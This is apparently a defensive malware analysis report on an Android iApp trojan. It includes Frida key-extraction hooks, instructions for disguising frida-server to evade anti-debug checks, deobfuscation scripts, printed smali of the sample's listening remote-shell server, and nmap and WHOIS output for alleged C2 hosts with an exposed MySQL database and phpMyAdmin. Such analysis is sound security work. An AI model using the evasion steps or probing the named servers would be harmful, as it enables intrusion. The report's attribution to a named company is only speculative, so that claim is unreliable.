Stealth Deployment: Rename the frida-server to a common system process (e.g., shmemd) and utilize a non-standard port (e.g., TCP/1234) to evade basic anti-debug heuristics.
The onLeave Interception: Instead of analyzing how the key is made, we hook the return address of slky (Offset 0x1922b).
Memory Extraction: Use the following logic to dump the finalized key immediately before it is passed to the XOR loop:
xxxxxxxxxx// Tactical Hook for Slky Key Extractionvar moduleBase = Module.findBaseAddress("libygsiyu.so");Interceptor.attach(moduleBase.add(0x1922b), { onLeave: function(retval) { console.log("[!] FINAL KEY GENERATED BY SLKY:"); console.log(hexdump(retval, { length: 32, header: true })); }});
xxxxxxxxxxvar moduleName = "libxxxx.so"; // Replace with your .so namevar slkyAddr = Module.findExportByName(moduleName, "_ZN4iapp4slkyEPNS_8InteractESsSs"); // Or use the offset: Module.findBaseAddress(moduleName).add(0x1922b)
Interceptor.attach(slkyAddr, { onLeave: function(retval) { // The return value is a JNI Object (jbyteArray) // We can use JNI to dump the actual bytes of the final key console.log("FINAL SCRAMBLED KEY FOUND!"); var env = Java.vm.getEnv(); var bytes = env.getByteArrayElements(retval, null); var length = env.getArrayLength(retval); console.log(hexdump(bytes, { length: length, ansi: true })); }});xxxxxxxxxxJava.perform(function() { // 1. Find the base address of the library var libraryName = "libiapp.so"; // Replace with the actual name of your .so file var libraryBase = Module.findBaseAddress(libraryName); if (libraryBase) { // 2. Calculate the absolute address of slky (Base + Offset) var slkyOffset = 0x1922b; var slkyAddress = libraryBase.add(slkyOffset);
console.log("[+] Found " + libraryName + " at: " + libraryBase); console.log("[+] Hooking slky at: " + slkyAddress);
Interceptor.attach(slkyAddress, { onEnter: function(args) { console.log("[*] Entered slky! Processing keys..."); }, onLeave: function(retval) { // retval is the pointer to the final scrambled key string/object console.log("[!] slky finished! The final XOR key is being returned."); // This dumps the memory at the return value (the final key) console.log(hexdump(retval, { offset: 0, length: 32, header: true, ansi: true })); } }); } else { console.log("[-] Could not find library " + libraryName); }});xxxxxxxxxx# Example Workflow for New Comers# Install Frida Tools pip install frida-tools
# Active Frida Serveradb push frida-server /data/local/tmp/adb shell "chmod 755 /data/local/tmp/frida-server"adb shell "/data/local/tmp/frida-server &"
# Move Frida Server to a new Portadb shell "mv /data/local/tmp/frida-server /data/local/tmp/sys_service"adb shell "chmod 755 /data/local/tmp/sys_service"adb shell "/data/local/tmp/sys_service -l 0.0.0.0:1234 &"
# Connect and Run Scriptsfrida -H 127.0.0.1:1234 -l snatch_key.js -f com.iapp.app# ...... (e.g.)To successfully execute the Frida-based "Ghost" Hook, the environment must bypass multi-stage anti-analysis checks that specifically target virtualized environments and debugging frameworks.
Modern iApp payloads often query the hardware abstraction layer (HAL) to detect emulators. To counter this, a Real Machine Sandbox (RMS) is mandatory.
Hardware Spoofing: Use a physical Android device with a "User-Debug" build or a rooted stock ROM.
Thermal/Sensor Validation: Malware often checks for the presence of a battery, accelerometer data, or light sensor changes. An RMS ensures these system properties return realistic, fluctuating values that an emulator cannot easily simulate.
Network Fingerprinting: Emulators often share the host's bridge IP. The RMS should be placed behind a dedicated cellular hotspot or a VPN-configured router to hide data-center IP ranges.
The slky routine is protected by checks that monitor the /proc/self/status and /proc/self/maps files for strings like frida, gum-js, or a non-zero TracerPid.
Advanced Frida Stealth Techniques:
Instruction Patching (The "Skip"): Instead of hiding Frida, use Frida to patch the anti-debug function in memory. Find the code that calls exit() or abort() upon detecting a debugger and replace it with NOP (No-Operation) instructions or a RET (Return).
Kernel-Level Masking (KPROBES): For sophisticated samples, use a custom kernel (like KernelSU) that can hide the "su" binary and the "frida-server" process from the user-space entirely.
D-Bus Protocol Obfuscation: Standard Frida communication uses the D-Bus protocol on a fixed port. Compiling a custom version of Frida with a modified string for the D-Bus communication prevents "String Scanning" detection.
The goal of the RMS is to reach the "Decryption Threshold"—the point where the app believes it is safe and executes asendn.
The Strategy for the Analysis Team:
Step 1: Flash a clean, physical device with a "Hidden Root" solution (Magisk + DenyList or KernelSU).
Step 2: Deploy a custom-compiled Frida-Gadget as a .so library inside the APK itself, rather than using an external server. This makes the instrumentation look like a native part of the app's own process.
Step 3: Use Frida-Stalker to follow the execution of the slky loop. This allows us to record every transformation made to the buffer without triggering "Breakpoint" detection.
The malware is built on the iApp (Ant Studio) development framework, common in Chinese-origin grayware and Trojans.
Dynamic Loading: The logoActivity.smali code confirms the app scans assets for a file named yuv0.xml. This file likely serves as a manifest for the "real" payload once the native layer decrypts it into memory.
The "Yu Code" Interpreter: We've identified com.iapp.app.run and classes like Aid_YuCodeX as the execution engine. This engine runs scripts (likely .iyu or .myu files) that are hidden inside the encrypted lib.so. These scripts perform the actual malicious actions (SMS intercepting, C2 communication) while the Java layer remains "clean."
Stateful Control: The variable Lc/b/a/a/w;->o:I acts as a global state flag. When set by the native library, it likely switches the engine into an "Encrypted Path," forcing the app to read its logic from a decrypted memory buffer rather than the standard filesystem.
xxxxxxxxxximport base64import re
def get_xor_key(): # Replicating the Java: Base64Utils.encode("三生石畔 彼岸花开".getBytes()) s = base64.b64encode("三生石畔 彼岸花开".encode('utf-8')).decode('utf-8') # replaceAll("\\D+", "") -> keep only numbers digits = re.sub(r'\D', '', s) # reverse and convert to int return int(digits[::-1])
def decrypt_l(encrypted_str): key = get_xor_key()
# 1. Reverse XOR with the dynamic key chars = list(encrypted_str) for i in range(len(chars)): chars[i] = chr(ord(chars[i]) ^ key)
# 2. Base64 Decode b64_decoded = base64.b64decode("".join(chars))
# 3. XOR with 255 (Bitwise NOT) final_bytes = bytearray() for b in b64_decoded: final_bytes.append(b ^ 255)
return final_bytes.decode('utf-8', errors='ignore')
# Testing with the QQ group or other stringsprint(f"Dynamic Key Found: {get_xor_key()}")xxxxxxxxxximport base64import reimport sys
def get_xor_key(): # Replicating Java: Base64Utils.encode("三生石畔 彼岸花开") # Note: The Java code uses the specific Chinese characters as the seed seed = "三生石畔 彼岸花开" s = base64.b64encode(seed.encode('utf-8')).decode('utf-8') digits = re.sub(r'\D', '', s) return int(digits[::-1])
def decrypt_l(encrypted_input): try: key = get_xor_key()
# Step 1: Reverse the XOR with the dynamic key # The Java code does: charArray[i] = (char) (charArray[i] ^ num.intValue()) xor_stage = "".join([chr(ord(c) ^ key) for c in encrypted_input])
# Step 2: Base64 Decode b64_decoded = base64.b64decode(xor_stage)
# Step 3: XOR with 255 (Bitwise NOT) # Java: bArrDecode[i2] = (byte) (bArrDecode[i2] ^ 255) final_bytes = bytearray([b ^ 255 for b in b64_decoded])
return final_bytes.decode('utf-8', errors='ignore') except Exception as e: return f"[Error: {e}]"
if __name__ == "__main__": if len(sys.argv) > 1: print(f"Result: {decrypt_l(sys.argv[1])}") else: print("Usage: python3 bulk_decrypt.py <encrypted_string>") print(f"Logic Key: {get_xor_key()}")xxxxxxxxxxpackage jamesxu.biuedittext;
import android.util.Base64;import java.nio.charset.StandardCharsets;
/* loaded from: /home/pana/dev/jadx-1.5.3/20260121001/lib/yecian.dex */public class jiami { public static final String getsss(String str) { String str2 = new String(Base64.encode("by:彼岸花 qq:1279525738".getBytes(), 0)); String str3 = (String) str2.subSequence(3, 4); String str4 = (String) str2.subSequence(4, 5); return new String(new String(Base64.encode(new StringBuilder().append((Object) new StringBuffer(new String(Base64.encode(str.getBytes(), 0))).reverse()).toString().getBytes(), 0)).replaceAll(str3, "三生石畔").replaceAll(str4, "彼岸花开").replaceAll("三生石畔", str4).replaceAll("彼岸花开", str3)); }
public static String l(String str) { Integer num = new Integer(new StringBuffer(Base64Utils.encode("三生石畔 彼岸花开".getBytes()).replaceAll("\\D+", "")).reverse().toString()); char[] charArray = str.toCharArray(); for (int i = 0; i < charArray.length; i++) { charArray[i] = (char) (charArray[i] ^ num.intValue()); } byte[] bArrDecode = Base64Utils.decode(new String(charArray)); for (int i2 = 0; i2 < bArrDecode.length; i2++) { bArrDecode[i2] = (byte) (bArrDecode[i2] ^ 255); } return new String(new String(bArrDecode, StandardCharsets.UTF_8)); }
public static final String b64(String str) { String strEncode = Base64Utils.encode("末之彼岸".getBytes()); String strEncode2 = Base64Utils.encode("花开不败".getBytes()); String str2 = (String) strEncode.subSequence(10, 11); String str3 = (String) strEncode.subSequence(11, 12); String string = new StringBuffer(new String(Base64Utils.decode(str.replaceAll(str2, "三生石畔").replaceAll(str3, "彼岸花开").replaceAll("三生石畔", str3).replaceAll("彼岸花开", str2)))).reverse().toString(); String str4 = (String) strEncode2.subSequence(0, 1); String str5 = (String) strEncode2.subSequence(4, 5); return new String(Base64Utils.decode(string.replaceAll(str4, "三生石畔").replaceAll(str5, "彼岸花开").replaceAll("三生石畔", str5).replaceAll("彼岸花开", str4))); }}The malware utilizes an embedded web server to turn the infected device into a remote-controlled terminal.
BeanShell Remote Shell: The discovery of bsh/util/Httpd.smali confirms the presence of a mini-web server. Unlike standard apps that "pull" data from a server, this app "listens" for incoming commands.
Persistent Listening: The ServerSocket->accept() loop in Httpd.smali indicates that once the app is launched, it opens a port on the device. An attacker can "push" raw Java code or system commands directly to the phone via a simple HTTP POST request.
Multi-Threaded Execution: The Ljava/lang/Thread;->start()V calls within the Httpd class allow the attacker to execute tasks (like file exfiltration or audio recording) in the background without affecting the user's current activity.
xxxxxxxxxx.class public Lbsh/util/Httpd;.super Ljava/lang/Thread;.source ""
# instance fields.field ss:Ljava/net/ServerSocket;
# direct methods.method public constructor <init>(I)V .locals 1
invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
new-instance v0, Ljava/net/ServerSocket;
invoke-direct {v0, p1}, Ljava/net/ServerSocket;-><init>(I)V
iput-object v0, p0, Lbsh/util/Httpd;->ss:Ljava/net/ServerSocket;
return-void.end method
.method public static main([Ljava/lang/String;)V .locals 2
new-instance v0, Lbsh/util/Httpd;
const/4 v1, 0x0
aget-object p0, p0, v1
invoke-static {p0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result p0
invoke-direct {v0, p0}, Lbsh/util/Httpd;-><init>(I)V
invoke-virtual {v0}, Ljava/lang/Thread;->start()V
return-void.end method
# virtual methods.method public run()V .locals 2
:goto_0 :try_start_0 new-instance v0, Lbsh/util/HttpdConnection;
iget-object v1, p0, Lbsh/util/Httpd;->ss:Ljava/net/ServerSocket;
invoke-virtual {v1}, Ljava/net/ServerSocket;->accept()Ljava/net/Socket;
move-result-object v1
invoke-direct {v0, v1}, Lbsh/util/HttpdConnection;-><init>(Ljava/net/Socket;)V
invoke-virtual {v0}, Ljava/lang/Thread;->start()V :try_end_0 .catch Ljava/io/IOException; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_0
:catch_0 move-exception v0
sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
invoke-virtual {v1, v0}, Ljava/io/PrintStream;->println(Ljava/lang/Object;)V
return-void.end methodxxxxxxxxxxdef decode_iapp_btoo(s): try: nums = [int(n) for n in s.split()] # Convert signed bytes to unsigned bytes_obj = bytes([n % 256 for n in nums]) return bytes_obj.decode('utf-8') except Exception as e: return str(e)
strings = [ "55 51 52 54 50 56 51 56 55", "-26 -72 -87 -23 -90 -88 -26 -113 -112 -25 -92 -70", "-28 -72 -117 -24 -67 -67 -26 -101 -76 -26 -106 -80"]
results = {s: decode_iapp_btoo(s) for s in strings}print(results)Using the btoo (Byte-to-Object) decryption logic found in the scripts, we have successfully unmasked the "plain text" values that the malware uses to hide its operational hub.
| Encoded Decimal | Decoded Value | Role in Malware |
|---|---|---|
55 51 52 54 50 56 51 56 55 | 734628387 | The QQ Group ID. This is the primary command and control (C2) hub for the "Ant Studio" developers. |
-26 -72 -87 ... | 温馨提示 | "Warm Reminder" — Used as the title for fake system popups. |
-28 -72 -117 ... | 下载更新 | "Download Update" — The button text used to trick users into installing more malicious stages. |
Our attempts to reach the command infrastructure revealed a high degree of operational security (OPSEC).
IP Geofencing: The Connection reset by peer and Cloudflare blocks suggest the attackers use "Regional Gatekeeping." The servers are configured to reject any traffic that does not originate from a specific range of Chinese mobile carrier IP addresses.
Anti-Sandboxing: The infrastructure is tuned to ignore curl or automated research tools, likely validating the User-Agent and device fingerprints before allowing the payload to download.
Report ID: C2-2026-0120-YGS
Author: Apich Organization Security Team
Classification: High-Risk / Active Surveillance Cluster
Primary Target Region: Mainland China / Hong Kong
The infrastructure utilizes a Tiered Proxy-to-Backend model. This design ensures that if the front-end domain (docq.cn) is flagged, the central database and payload repository (107.151.212.80) remain hidden and reusable under different domain aliases.
| Tier | Component | Identity | Technical Role |
|---|---|---|---|
| Tier 1 | The Mask | docq.cn | Acts as the initial contact point. Routes traffic through Alibaba Cloud (US) to bypass regional domestic monitoring. |
| Tier 2 | The Controller | ht.bu84.com | "Heartbeat" (HT) server. Manages persistent connections from infected devices using IIS 10.0. |
| Tier 3 | The Vault | 107.151.212.80:3306 | Exposed MySQL database. Stores exfiltrated LogCat data, contacts, and device metadata. |
The registration data reveals a strong link to the Fujian/Wuhan gray-market ecosystem, a known hub for the development of "iApp" modification tools and game injectors.
Corporate Entity: Wuhan Zhiyun Software Co., Ltd. (武汉织云软件有限公司). This entity is likely either a shell company registered for this purpose or a legitimate firm whose infrastructure was hijacked to serve as a high-reputation proxy.
Operational Pattern: Domain registrations for this cluster (including bu84.com) strictly follow UTC+8 business hours, with significant pauses during Chinese New Year, confirming the threat actors are likely based in East Asia.
Persistence: bu84.com was updated on January 14, 2026, indicating that this specific campaign is currently in its active "harvesting" phase.
The attackers have made several critical "Amateur-Hour" errors that can be exploited:
Direct Database Exposure: Port 3306 (MySQL) is open to the public. This suggests the Android app's Lua/Java scripts might be hardcoded to write directly to this DB, a very "noisy" behavior.
Management Leaks: The presence of phpMyAdmin on port 999 is a classic hallmark of the iApp-PHP-MySQL stack. It provides a visual interface for the attackers to view stolen data, but it also serves as a high-confidence signature for security researchers.
This vulnerability poses a significant risk of sophisticated cyberattacks, which could result in the mass exfiltration and disclosure of Personally Identifiable Information (PII).
Noticeably, the attacker uses phpMyAdmin v5.2.0-rc.1 and MySQL v8.0.39 which both have many known critical security vulnerabilities.
The "modular" DEX files we found earlier are designed to feed this specific infrastructure:
classes2.dex (LogCat Reader) ➔ Feeds the MySQL Database.
Compression.dex (Zip4j) ➔ Uploads batches to the IIS Web Server.
libygsiyu.so (iApp) ➔ Connects to the phpMyAdmin/PHP management backend.
Our attempts to reach the command infrastructure revealed a high degree of operational security (OPSEC).
IP Geofencing: The Connection reset by peer and Cloudflare blocks suggest the attackers use "Regional Gatekeeping." The servers are configured to reject any traffic that does not originate from a specific range of Chinese mobile carrier IP addresses.
Anti-Sandboxed-Requests: The infrastructure is tuned to ignore curl or automated research tools, likely validating the User-Agent and device fingerprints before allowing the payload to download.
xxxxxxxxxxNmap scan report for docq.cn (47.89.9.97)Host is up (0.27s latency).Not shown: 988 filtered tcp ports (no-response)PORT STATE SERVICE VERSION22/tcp open ssh?|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)25/tcp open smtp?|_smtp-commands: Couldn't establish connection on port 2580/tcp open http?110/tcp open pop3?143/tcp open imap?443/tcp open https?465/tcp open smtps?|_smtp-commands: Couldn't establish connection on port 465587/tcp open submission?|_smtp-commands: Couldn't establish connection on port 587993/tcp open imaps?995/tcp open pop3s?1935/tcp open rtmp?8080/tcp open http-proxy?Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portAggressive OS guesses: Huawei MT880 ADSL modem (97%), Juniper Networks SSG 20 firewall (97%), Juniper SRX200-series firewall (JUNOS 12.1 - 12.3) (97%), SiliconDust HDHomeRun set top box (97%), Cisco SG200 switch (97%), Cisco SG300 switch (97%), CMI Genus NEMA terminal (97%), Dell Remote Access Controller 4/I (97%), GlobespanVirata GS8100, Huawei MT880, or Solwise SAR 100 ADSL modem (97%), HP Integrated Lights-Out 2 (97%)No exact OS matches for host (test conditions non-ideal).Network Distance: 3 hopsTCP Sequence Prediction: Difficulty=257 (Good luck!)IP ID Sequence Generation: Busy server or unknown class
TRACEROUTE (using port 443/tcp)HOP RTT ADDRESS1 2.06 ms _gateway (192.168.31.184)2 ...3 300.40 ms 47.89.9.97
Nmap scan report for ht.bu84.com (107.151.212.80)Host is up (0.29s latency).Not shown: 985 filtered tcp ports (no-response)PORT STATE SERVICE VERSION22/tcp open ssh?|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)25/tcp open smtp?|_smtp-commands: Couldn't establish connection on port 2580/tcp open http Microsoft IIS httpd 10.0| http-methods:| Supported Methods: OPTIONS TRACE GET HEAD POST|_ Potentially risky methods: TRACE|_http-server-header: Microsoft-IIS/10.0|_http-title: 404110/tcp open pop3?135/tcp open msrpc Microsoft Windows RPC143/tcp open imap?443/tcp open https?465/tcp open smtps?|_smtp-commands: Couldn't establish connection on port 465587/tcp open submission?|_smtp-commands: Couldn't establish connection on port 587993/tcp open imaps?995/tcp open pop3s?999/tcp open http Microsoft IIS httpd 10.0| http-robots.txt: 1 disallowed entry|_/|_http-server-header: Microsoft-IIS/10.0|_http-favicon: Unknown favicon MD5: 531B63A51234BB06C9D77F219EB25553|_http-title: phpMyAdmin| http-methods:| Supported Methods: OPTIONS TRACE GET HEAD POST|_ Potentially risky methods: TRACE1935/tcp open rtmp?3306/tcp open mysql MySQL 8.0.39| mysql-info:| Protocol: 10| Version: 8.0.39| Thread ID: 233826| Capabilities flags: 65535| Some Capabilities: ConnectWithDatabase, Support41Auth, LongColumnFlag, Speaks41ProtocolOld, DontAllowDatabaseTableColumn, SwitchToSSLAfterHandshake, SupportsLoadDataLocal, SupportsTransactions, LongPassword, InteractiveClient, Speaks41ProtocolNew, FoundRows, ODBCClient, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, SupportsCompression, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults| Status: Autocommit| Salt: [`\x15W/\x06\x01npf{^8%A\x1FD\x1DL\x07|_ Auth Plugin Name: mysql_native_password| ssl-cert: Subject: commonName=MySQL_Server_8.0.39_Auto_Generated_Server_Certificate| Issuer: commonName=MySQL_Server_8.0.39_Auto_Generated_CA_Certificate| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha256WithRSAEncryption| Not valid before: 2025-10-17T02:44:50| Not valid after: 2035-10-15T02:44:50| MD5: ba86 8778 e891 147e 066c 2ff9 3533 45a0|_SHA-1: 14a3 8fef a64b 15c0 9804 7451 385c 2d3e 9069 82fa|_ssl-date: TLS randomness does not represent time8080/tcp open http-proxy?Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portAggressive OS guesses: Huawei MT880 ADSL modem (97%), Juniper SRX200-series firewall (JUNOS 12.1 - 12.3) (97%), SiliconDust HDHomeRun set top box (97%), Cisco SG200 switch (97%), Cisco SG300 switch (97%), CMI Genus NEMA terminal (97%), Dell Remote Access Controller 4/I (97%), GlobespanVirata GS8100, Huawei MT880, or Solwise SAR 100 ADSL modem (97%), HP Integrated Lights-Out 2 (97%), Panasonic BL-C210A webcam (96%)No exact OS matches for host (test conditions non-ideal).Network Distance: 3 hopsTCP Sequence Prediction: Difficulty=263 (Good luck!)IP ID Sequence Generation: Busy server or unknown classService Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 443/tcp)HOP RTT ADDRESS1 2.01 ms _gateway (192.168.31.184)2 ...3 299.61 ms 107.151.212.80
Nmap scan report for hyrjk.ftp.wtbusaym.site (107.151.212.80)Host is up (0.34s latency).Not shown: 985 filtered tcp ports (no-response)PORT STATE SERVICE VERSION22/tcp open ssh?|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)25/tcp open smtp?|_smtp-commands: Couldn't establish connection on port 2580/tcp open http Microsoft IIS httpd 10.0| http-methods:| Supported Methods: OPTIONS TRACE GET HEAD POST|_ Potentially risky methods: TRACE|_http-server-header: Microsoft-IIS/10.0|_http-title: \xE8\xAF\xB7\xE6\xB1\x82\xE6\xB2\xA1\xE6\x9C\x89\xE6\x89\xBE\xE5\x88\xB0\xE5\xAF\xB9\xE5\xBA\x94\xE7\x9A\x84\xE7\xAB\x99\xE7\x82\xB9110/tcp open pop3?135/tcp open msrpc Microsoft Windows RPC143/tcp open imap?443/tcp open https?465/tcp open smtps?|_smtp-commands: Couldn't establish connection on port 465587/tcp open submission?|_smtp-commands: Couldn't establish connection on port 587993/tcp open imaps?995/tcp open pop3s?999/tcp open http Microsoft IIS httpd 10.0|_http-title: phpMyAdmin| http-robots.txt: 1 disallowed entry|_/|_http-server-header: Microsoft-IIS/10.0|_http-favicon: Unknown favicon MD5: 531B63A51234BB06C9D77F219EB25553| http-methods:| Supported Methods: OPTIONS TRACE GET HEAD POST|_ Potentially risky methods: TRACE1935/tcp open rtmp?3306/tcp open mysql MySQL 8.0.39|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: commonName=MySQL_Server_8.0.39_Auto_Generated_Server_Certificate| Issuer: commonName=MySQL_Server_8.0.39_Auto_Generated_CA_Certificate| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha256WithRSAEncryption| Not valid before: 2025-10-17T02:44:50| Not valid after: 2035-10-15T02:44:50| MD5: ba86 8778 e891 147e 066c 2ff9 3533 45a0|_SHA-1: 14a3 8fef a64b 15c0 9804 7451 385c 2d3e 9069 82fa| mysql-info:| Protocol: 10| Version: 8.0.39| Thread ID: 233900| Capabilities flags: 65535| Some Capabilities: Support41Auth, LongPassword, DontAllowDatabaseTableColumn, SwitchToSSLAfterHandshake, SupportsTransactions, SupportsCompression, IgnoreSigpipes, ODBCClient, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, InteractiveClient, FoundRows, ConnectWithDatabase, SupportsLoadDataLocal, Speaks41ProtocolOld, LongColumnFlag, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults| Status: Autocommit| Salt: \x1Bz\x17\x1FxN\x07-6om\x18/PA_\x0736T|_ Auth Plugin Name: mysql_native_password8080/tcp open http-proxy?Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portAggressive OS guesses: Huawei MT880 ADSL modem (97%), Juniper Networks SSG 20 firewall (97%), Juniper SRX200-series firewall (JUNOS 12.1 - 12.3) (97%), SiliconDust HDHomeRun set top box (97%), Allied Telesyn Rapier G6 switch (97%), Cisco SG200 switch (97%), Cisco SG300 switch (97%), CMI Genus NEMA terminal (97%), Dell Remote Access Controller 4/I (97%), GlobespanVirata GS8100, Huawei MT880, or Solwise SAR 100 ADSL modem (97%)No exact OS matches for host (test conditions non-ideal).Network Distance: 3 hopsTCP Sequence Prediction: Difficulty=265 (Good luck!)IP ID Sequence Generation: Busy server or unknown classService Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 443/tcp)HOP RTT ADDRESS1 23.50 ms _gateway (192.168.31.184)2 ...3 338.29 ms 107.151.212.80
Nmap scan report for downloads.blissroms.org (104.21.64.137)Host is up (0.39s latency).Other addresses for downloads.blissroms.org (not scanned): 172.67.151.52 2606:4700:3031::6815:4089 2606:4700:3037::ac43:9734Not shown: 987 filtered tcp ports (no-response)PORT STATE SERVICE VERSION22/tcp open ssh?|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)25/tcp open smtp?|_smtp-commands: Couldn't establish connection on port 2580/tcp open http Cloudflare http proxy|_http-server-header: cloudflare|_http-title: Did not follow redirect to https://downloads.blissroms.org/| http-methods:|_ Supported Methods: GET HEAD POST OPTIONS110/tcp open pop3?143/tcp open imap?443/tcp open ssl/http Cloudflare http proxy|_http-server-header: cloudflare| http-methods:|_ Supported Methods: OPTIONS| ssl-cert: Subject: commonName=blissroms.org| Subject Alternative Name: DNS:blissroms.org, DNS:*.blissroms.org| Issuer: commonName=WE1/organizationName=Google Trust Services/countryName=US| Public Key type: ec| Public Key bits: 256| Signature Algorithm: ecdsa-with-SHA256| Not valid before: 2025-12-16T12:21:38| Not valid after: 2026-03-16T13:20:09| MD5: 6ae0 a512 ea21 52f2 5038 8f9e bac6 69e5|_SHA-1: 0a38 8f05 d62f 5b4c 1f90 997a 9048 d14a 315a 9a1d|_http-title: Site doesn't have a title (text/plain; charset=utf-8).465/tcp open smtps?|_smtp-commands: Couldn't establish connection on port 465587/tcp open submission?|_smtp-commands: Couldn't establish connection on port 587993/tcp open imaps?995/tcp open pop3s?1935/tcp open rtmp?8080/tcp open http Cloudflare http proxy| http-methods:|_ Supported Methods: GET HEAD POST OPTIONS|_http-server-header: cloudflare|_http-title: Did not follow redirect to https://downloads.blissroms.org:8080/8443/tcp open ssl/http Cloudflare http proxy|_http-server-header: cloudflare|_http-title: 400 The plain HTTP request was sent to HTTPS port| ssl-cert: Subject: commonName=blissroms.org| Subject Alternative Name: DNS:blissroms.org, DNS:*.blissroms.org| Issuer: commonName=WE1/organizationName=Google Trust Services/countryName=US| Public Key type: ec| Public Key bits: 256| Signature Algorithm: ecdsa-with-SHA256| Not valid before: 2025-12-16T12:21:38| Not valid after: 2026-03-16T13:20:09| MD5: 6ae0 a512 ea21 52f2 5038 8f9e bac6 69e5|_SHA-1: 0a38 8f05 d62f 5b4c 1f90 997a 9048 d14a 315a 9a1dWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portAggressive OS guesses: Juniper Networks SSG 20 firewall (97%), CMI Genus NEMA terminal (97%), GlobespanVirata GS8100, Huawei MT880, or Solwise SAR 100 ADSL modem (97%), HP Integrated Lights-Out 2 (97%), Netgear DM602 ADSL router (97%), Panasonic BL-C210A webcam (97%), Lantronix XPort AR (95%), Juniper SRX200-series firewall (JUNOS 12.1 - 12.3) (94%), Cisco SG300 switch (94%), Linux 2.6.18 (94%)No exact OS matches for host (test conditions non-ideal).Network Distance: 3 hopsTCP Sequence Prediction: Difficulty=256 (Good luck!)IP ID Sequence Generation: Busy server or unknown class
TRACEROUTE (using port 995/tcp)HOP RTT ADDRESS1 2.55 ms _gateway (192.168.31.184)2 ...3 445.56 ms 104.21.64.137xxxxxxxxxxDomain Name: blissroms.org
Registry Domain ID: REDACTED
Registrar WHOIS Server: whois.namecheap.com
Registrar URL: http://www.namecheap.com
Updated Date: 2025-09-17T06:11:30Z
Creation Date: 2019-10-12T18:46:33Z
Registry Expiry Date: 2026-10-12T18:46:33Z
Registrar: NameCheap, Inc.
Registrar IANA ID: 1068
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: +1.9854014545
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Name Server: dean.ns.cloudflare.com
Name Server: sandy.ns.cloudflare.com
DNSSEC: signedDelegation
URL of the ICANN Whois Inaccuracy Complaint Form: https://icann.org/wicf/
>>> Last update of WHOIS database: 2026-01-20T07:54:24Z <<<
Domain Name: docq.cnROID: 20140331s10001s70667919-cnDomain Status: clientTransferProhibitedRegistrant: 武汉织云软件有限公司Registrant Contact Email: [email protected]Sponsoring Registrar: 阿里云计算有限公司(万网)Name Server: dns7.hichina.comName Server: dns8.hichina.comRegistration Time: 2014-03-31 18:54:23Expiration Time: 2026-03-31 18:54:23DNSSEC: unsigned
Domain Name: BU84.COM
Registry Domain ID: 2261456104_DOMAIN_COM-VRSN
Registrar WHOIS Server: grs-whois.hichina.com
Registrar URL: http://www.net.cn
Updated Date: 2026-01-14T07:24:30Z
Creation Date: 2018-05-09T16:42:44Z
Registry Expiry Date: 2027-05-09T16:42:44Z
Registrar: Alibaba Cloud Computing (Beijing) Co., Ltd.
Registrar IANA ID: 420
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: +86.95187
Domain Status: ok https://icann.org/epp#ok
Name Server: DNS15.HICHINA.COM
Name Server: DNS16.HICHINA.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2026-01-20T07:56:13Z <<<
Domain Name: bu84.com
Registry Domain ID: 2261456104_DOMAIN_COM-VRSN
Registrar WHOIS Server: grs-whois.hichina.com
Registrar URL: http://www.net.cn
Updated Date: 2025-04-13T11:22:24Z
Creation Date: 2018-05-09T16:42:44Z
Registrar Registration Expiration Date: 2027-05-09T16:42:44Z
Registrar: Alibaba Cloud Computing (Beijing) Co., Ltd.
Registrar IANA ID: 420
Reseller:
Domain Status: ok https://icann.org/epp#ok
Registrant City:
Registrant State/Province: fu jian
Registrant Country: CN
Registrant Email:https://whois.aliyun.com/whois/whoisForm
Registry Registrant ID: Not Available From Registry
Name Server: DNS15.HICHINA.COM
Name Server: DNS16.HICHINA.COM
DNSSEC: unsigned
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: +86.95187
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>>Last update of WHOIS database: 2026-01-20T07:56:21Z <<<The malware sample YGS-2026-01 was submitted by Xiaoru Zhang (Apich Organization) on January 19, 2026, at 23:12 CST.
Related malware sample YGS-2026-02 was submitted by Xiaoru Zhang (Apich Organization) on January 20, 2026, at 23:12 CST.
Initial Response: January 20, 2026, at 01:13 CST.
Phase I Analysis: Conducted by Xinyu Yang (Apich Organization Security Team); completed January 20, 2026, at 13:04 CST.
Phase II Analysis: Conducted by Xinyu Yang (Apich Organization Security Team); completed January 20, 2026, at 17:24 CST.
Phase III Analysis (Analysis of YGS-2026-02): Conducted by Xinyu Yang (Apich Organization Security Team); completed January 21, 2026, at 20:34 CST.
The initial report was submitted to the TSRC on January 20, 2026, at 13:43 CST, with subsequent revisions finalized at 17:29 and 17:59 CST. Due to mailing system errors and latency, multiple copies of the reports were resubmitted again to the TSRC on January 21, 2026, using various methods (including mailing and wechat official accounts of TSRC, e.g.); however, no response has been received yet till the publishing of these reports. Thus, the reports are formally submitted to CNCERT on January 21, 2026, at 21:44 CST.
With the release of this acknowledgement, the Apich Organization Security Team has officially concluded its primary internal tasks regarding sample YGS-2026-02. However, we remain committed to supporting the ongoing efforts of the TSRC and CNCERT.
